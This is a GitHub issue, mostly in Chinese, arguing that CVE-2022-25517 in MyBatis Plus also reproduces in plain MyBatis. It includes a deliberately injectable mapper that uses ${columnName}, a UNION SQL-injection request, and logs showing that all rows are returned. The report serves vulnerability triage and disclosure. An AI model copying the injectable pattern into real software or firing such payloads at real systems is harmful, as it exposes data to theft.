Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[功能改进]: To resolve CVE-2022-25517 #6491

Open
3 tasks done
XSun771 opened this issue Sep 16, 2024 · 0 comments
Open
3 tasks done

[功能改进]: To resolve CVE-2022-25517 #6491

XSun771 opened this issue Sep 16, 2024 · 0 comments

Comments

@XSun771
Copy link

XSun771 commented Sep 16, 2024

确认

  • 我的版本是最新版本, 我的版本号与 version 相同, 并且项目里无依赖冲突
  • 我已经在 issue 中搜索过, 确认问题没有被提出过
  • 我已经修改标题, 将标题中的 描述 替换为遇到的问题

功能改进

Hi Team,

我在一家外企工作,使用 SYNK 扫描 CVE issues,其记录了 CVE-2022-25517 SQL Injection POC。因此我们可能会被禁止使用 mybatis plus。

关于这个 issue 的争论,我觉得最简单的方式就是看看仅仅使用 mybatis 是否可以复现此问题。如果单纯用 mybatis 也可以,那显然 mybatis plus 无需做任何修复。

而我的验证结果是仅仅使用 mybatis 仍然可以复现此问题,因此要么将 mybatis 也 include 到这个 CVE issue,要么 mybatis plus 也不应该 own 这个 issue。这里我想麻烦 Mybatis Plus team 进一步推动 CVE 官方关闭这个问题。我相信此类审计在其他大型公司中也是存在的。

这是我复现此问题的代码:
https://github.com/XSun771/demos/tree/mybatis-sql-injection

简单来说,

    @RequestMapping("/enquiry")
    public String enquiry(@RequestBody Enquiry enquiry) {
        return this.articleMapper.select(enquiry.getColumnName(),enquiry.getColumnValue()).toString();
    }
    @Select("SELECT * FROM ARTICLES WHERE ${columnName} = #{columnValue}")
    List<Article> select(@Param("columnName") String columnName, @Param("columnValue") String columnValue);

攻击测试:

POST http://localhost:9000/enquiry
Content-Type: application/json

{
  "columnName": "(id=1) UNION SELECT * FROM ARTICLES WHERE 1=1 OR id",
  "columnValue": "1"
}

结果:

2024-09-16T11:42:48.220+08:00 DEBUG 2736 --- [mybatis-sql-injection] [nio-9000-exec-2] c.e.m.ArticleMapper.select               : ==>  Preparing: SELECT * FROM ARTICLES WHERE (id=1) UNION SELECT * FROM ARTICLES WHERE 1=1 OR id = ?
2024-09-16T11:42:48.229+08:00 DEBUG 2736 --- [mybatis-sql-injection] [nio-9000-exec-2] c.e.m.ArticleMapper.select               : ==> Parameters: 1(String)
2024-09-16T11:42:48.244+08:00 DEBUG 2736 --- [mybatis-sql-injection] [nio-9000-exec-2] c.e.m.ArticleMapper.select               : <==      Total: 3

[Article(id=1, title=foo, author=foo), Article(id=2, title=bar, author=bar), Article(id=3, title=333, author=333)]

参考资料

No response

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant